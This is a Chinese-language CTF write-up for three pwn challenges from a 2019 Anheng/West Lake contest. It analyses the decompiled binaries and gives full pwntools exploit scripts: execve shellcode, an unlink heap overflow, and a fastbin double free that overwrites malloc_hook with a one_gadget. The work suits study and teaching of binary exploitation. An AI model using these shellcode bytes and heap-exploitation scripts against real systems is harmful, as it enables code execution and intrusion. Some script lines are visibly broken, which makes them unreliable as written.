1. 程式人生 > >2019 安恒周周練西湖論劍特別版 pwn部分wp

2019 安恒周周練西湖論劍特別版 pwn部分wp

sca 地方 填充 print code stack 匯編 name netty

pwn1

考點:構造 shellcode,patch 匯編指令

IDA 查看反匯編,程序的邏輯很簡單如,如果 直接 f5 的話 IDA 可能識別不出來函數,問題出在 0x080484CF 這個地方,call eax 指令識別不出來,所以這裏可以先 patch 成 nop,之後 f5 就正常了

技術分享圖片

技術分享圖片

程序把輸入當成 shellcode 直接來執行,很顯然是直接往棧上寫 shellcode 了。checksec 檢查保護的時候也可以驗證這一點。

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

在這裏找到 21 bytes 的 shellcode,但是最多只能輸入 20 bytes。
http://shell-storm.org/shellcode/files/shellcode-575.php

所以這裏我們想辦法去掉一條指令即可,調試發現 ecx 本身就是 0,那麽去掉 xor ecx ecx 即可。

技術分享圖片

exp

#!/usr/bin/python
from pwn import *
DEBUG = 0
if DEBUG:
        r = process('./pwn_1')
        #elf = ELF('')
else:
        r = remote('101.71.29.5',10000)
        #elf = ELF('')

#shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80\x00"

shellcode = "\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

# ecx = 0

print "len: " + str(len(shellcode))
r.sendline(shellcode)
r.interactive()

pwn2

考點:unlink、uaf、堆溢出、開啟 full relro、覆寫 malloc_hook

程序的漏洞點比較多,所以這裏應該有多解。筆者這裏用堆溢出後偽造堆塊,構造一個 unlink 的方法來做

首先檢查一下保護:

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

create_node 函數:

int create_node()
{
  int v0; // ebx
  int v2; // [rsp+Ch] [rbp-14h]

  printf("enter the index of the node you want to create:");
  __isoc99_scanf("%d", &v2);
  v0 = v2;
  name[v0] = malloc(0x80uLL);                   // small chunk
  return puts("create complete");
}

edit_node 函數

int edit_node()
{
  int v1; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  printf("enter the index of the node you want to edit:");
  __isoc99_scanf("%d", &v2);
  printf("please enter the length of the input:", &v2);
  __isoc99_scanf("%d", &v1);
  getchar();
  printf("please enter the contents of the node:", &v1);
  fread(name[v2], v1, 1uLL, stdin);             // overflow
  return puts("edit compete!");
}

delete_node 函數

int delete_node()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("enter the index of the node you want to create:");
  __isoc99_scanf("%d", &v1);
  free(name[v1]);
  return puts("delete complete!");
}

show_node 函數

int show_node()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("enter the index of the node you want to create:");
  __isoc99_scanf("%d", &v1);
  return puts(name[v1]);
}
  • 程序中還有一個後門函數

技術分享圖片

首先有一個比較容易利用的點,在 edit_node 函數中我們可以輸入 index 為一個負數,這裏我們就可以更改 name 前面某個地址的指針的值

技術分享圖片

got 表在 name 前面,很容易想到直接篡改 got 表值,這裏 exit 函數在 -12 處。但是這裏 RELRO 為 disabled,是無法正常寫 got 表的。大佬說這個是

失去動態鏈接的過程 而且不光 got 不能寫 因為要對齊 所以至少1000個字節的範圍

所以這裏正常的思路是在 edit_node 中利用長度沒有限制的條件來偽造一個堆塊,觸發 unlink 漏洞,參考:https://www.jianshu.com/p/2776b6a79a11

unlink 觸發之後,再 edit 一次就可以在 name 的區域任意地址寫,這裏利用前面 uaf 漏洞 leak 出 libc 地址,之後往 malloc_hook 中寫入後門函數,再 malloc 一次就 getshell 了。

exp

#!/usr/bin/python

from pwn import *
DEBUG = 0

if DEBUG:
    r = process('./pwn2')
    main_arena_offset = 0x3C2760
    elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    malloc_hook_offset = elf.symbols['__malloc_hook']
else:
    r = remote('101.71.29.5',10001)
    #elf = ELF('')
    malloc_hook_offset = 0x00


def create_node(idx):
    r.sendlineafter("---------------------------",'1')
    #r.sendlineafter("enter the index of the node you want to create:",str(idx))
    #r.recvuntil(":")
    r.sendline(str(idx))

def edit_node(idx,length,content):
    r.sendlineafter("---------------------------",'2')
    r.sendline(str(idx))
    r.sendline(str(length))
    r.sendline(str(length)) 

def delete_node(idx):
    r.sendlineafter("---------------------------",'3')
        r.sendline(str(idx))

def show_node(idx):
    r.sendlineafter("---------------------------",'4')
        r.sendline(str(idx))


create_node(0)
create_node(1)

delete_node(0)
show_node(0)

r.recvuntil(":")
main_arena_addr = u64(r.recv(6).ljust(8,'\x00'))-0x58

success("main_arena_addr: " + hex(main_arena_addr))
libc_addr = main_arena_addr - main_arena_offset

success("libc_addr: " + hex(libc_addr))
#---------------------------------------------------

create_node(0)

create_node(2)
create_node(3)
create_node(4)

payload = 'a' * 0x80 + p64(0) + p64(0x21)

#edit_node(2,len(payload),payload)
#edit_node(2,5,'aaaaa')
#gdb.attach(r)

#r.sendlineafter("---------------------------",'2\n')
#r.recvuntil("---------------------------")
#r.sendline("2")

r.recv()

# unlink
chunk_list = 0x6012b0
payload = p64(0) +p64(0x81)
payload += p64(chunk_list-24)
payload += p64(chunk_list-16)
payload += 'a' * 0x60
payload += p64(0x80) + p64(0x90)

r.sendline('2\n')
r.sendline('2\n')
r.sendline(str(len(payload)))
r.sendline(payload)

#gdb.attach(r)

delete_node(3)

r.recv()

malloc_hook = libc_addr + malloc_hook_offset
payload2 = p64(0x1111) + p64(malloc_hook)

r.sendline('2\n')
r.sendline('2\n')
r.sendline(str(len(payload2)))
r.sendline(payload2)
#gdb.attach(r)

r.recv()
payload3 = p64(0x00000000004009B6)
r.sendline('2\n')
r.sendline('0\n')
r.sendline(str(len(payload3)))
r.sendline(payload3)

create_node(4)

r.interactive()

pwn3

考點:double free、uaf、覆寫 malloc_hook

這道題和前面那道挺像的,但是這個可以直接用 fastbins attack 的 double free 來做,會稍微簡單點。關於 fastbins attack 的幾種利用方法可以[看這裏][https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247483708&idx=1&sn=3d99a896dd1fc366fdfaed3806d08a2a&chksm=fd711471ca069d67f59eee741245e444e07e209fe0ab46708a39ecdacd500f1c192a355d1f25&xtrack=1&scene=0&subscene=10000&clicktime=1553785691&ascene=7&devicetype=android-27&version=27000334&nettype=3gnet&abtest_cookie=BAABAAoACwASABMABQAjlx4AVpkeAMiZHgDVmR4A3JkeAAAA&lang=zh_CN&pass_ticket=SYONvOFMfHHU4cAl26RQ3nLCrJELqfUSx809QFoLolLe%2BQMEh16EkmM0KVgTuQSJ&wx_header=1]

安全保護措施:

gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

保護全開,got 表也寫不了。那只能寫 malloc_hook 或者 free_hook

首先看程序的代碼:

create 函數

int create()
{
  signed int size; // eax
  size_t v1; // rbx
  void *v2; // rbp
  __int64 v3; // rax

  if ( max_count > 15 )
    return puts("Enough");
  puts("Size:");
  size = sub_B60();
  if ( size > 128 )
    exit(-1);
  v1 = size;
  v2 = malloc(size);
  v3 = max_count++;
  chunk_list[v3] = v2;
  _printf_chk(1LL, "Content >");
  read(0, v2, v1);
  return puts("Done");
}

show 函數

int sub_C70()
{
  int v0; // eax
  __int64 v2; // rcx

  puts("Index:");
  v0 = sub_B60();
  if ( v0 < 0 || v0 >= max_count )
    return puts("Invalid Index");
  v2 = chunk_list[v0];
  return _printf_chk(1LL, "Buf[%d]:%s\n");
}

delete 函數

void sub_CD0()
{
  int idx; // eax
  void *v1; // rdi

  puts("Index:");
  idx = sub_B60();
  if ( idx >= 0 && idx < max_count && (v1 = chunk_list[idx]) != 0LL )
    free(v1);
  else
    puts("Invalid Index");
}

思路:和上題一樣的方法 leak 出 libc,拿到 one_gadget 地址之後,往 malloc_hook 中寫入來 getshell。

malloc 一個 0x80 的塊之後 free 掉,先 leak 出 main_arena + 0x58 的地址,就可以計算出 main_arena 的地址,進而得到 libc 的地址(main_arena 偏移固定)

create(128,"a")
create(128,"b")

delete(0)
show(0)

malloc 出三個 fastbin ,free 三個塊之後再事先填充好偽造為 fd 值,構造 double free。

create(0x60,'1')    # idx=3
create(0x60,'2')    # idx=4
create(0x60,'3')    # idx=5

delete(3)       # double free
delete(4)
delete(3)

利用 fastbins attack 的錯位技術,在 malloc_hook 上面構造一個堆塊,填充內容時就可以覆蓋 malloc_hook 的值。

one_gadget = libc_addr + one_gadget_offset
payload = 'a' * 0x3 + p64(one_gadget)
create(0x60,payload)

接著 malloc 一次就可以 getshell。但是這裏我在本地測試可以正常 shell,在遠程利用時可能是 one_gadget 的地址偏移的原因,無法正常 getshell。

技術分享圖片

exp

#!/usr/bin/python
from pwn import *
DEBUG = 1

if DEBUG:
    r = process('./5b757f4345b70')
    main_arena_offset = 0x3C2760
    one_gadget_offset = 0xe9415
    elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    r = remote('101.71.29.5',10002)
#   r = remote('127.0.0.1',4000)
    elf = ELF("./5b757f4347a22.so")
    #elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    main_arena_offset = 0x3C4B20
    one_gadget_offset = 0xf02a4

success("system offset: "+hex(elf.symbols['system']))
success("free_hook_offset: "+hex(elf.symbols['__free_hook']))

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
0xf1147 execve("/bin/sh", rsp+0x70, environ)
0x4526a execve("/bin/sh", rsp+0x30, environ)
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
'''

def create(size,content):
    r.sendlineafter("Choice>",'1')
    r.sendlineafter("Size:",str(size))
    r.sendlineafter("Content >",str(content))

def show(idx):
    r.sendlineafter("Choice>",'2')
    r.sendlineafter("Index:",str(idx))
    
def delete(idx):
    r.sendlineafter("Choice>",'3')
        r.sendlineafter("Index:",str(idx))

create(128,"a")
create(128,"b")

delete(0)
show(0)

r.recvuntil(">Buf[0]:")
main_arena_addr = u64(r.recv(6).ljust(8,'\x00'))-0x58

success("main_arena: "+hex(main_arena_addr))
libc_addr = main_arena_addr-main_arena_offset

success("libc_addr: "+hex(libc_addr))

success("free_hook: "+hex(libc_addr+elf.symbols['__free_hook']))
create(128,"c")

create(0x60,'1')    # idx=3
create(0x60,'2')    # idx=4
create(0x60,'3')    # idx=5

delete(3)       # double free
delete(4)
delete(3)

#gdb.attach(r)

malloc_hook_addr = main_arena_addr-0x33

create(0x60,p64(malloc_hook_addr))  # fd
create(0x60,'4')
create(0x60,'5')

# LOCAL ONE_GADGET

'''
0x46428 execve("/bin/sh", rsp+0x30, environ)
0x4647c execve("/bin/sh", rsp+0x30, environ)
0xe9415 execve("/bin/sh", rsp+0x50, environ)
0xea36d execve("/bin/sh", rsp+0x70, environ)
'''

# REMOTE ONE_GADGET

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
0xf1147 execve("/bin/sh", rsp+0x70, environ)
0x4526a execve("/bin/sh", rsp+0x30, environ)
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
'''

one_gadget = libc_addr + one_gadget_offset

payload = 'a' * 0x3 + p64(one_gadget)
#payload = 'a' * 0x3 + p64(libc_addr + elf.symbols['__stack_chk_fail'])

create(0x60,payload)

gdb.attach(r)

#r.sendlineafter("Choice>",'1')
#r.sendlineafter("Size:","96")

r.interactive("#> ")

2019 安恒周周練西湖論劍特別版 pwn部分wp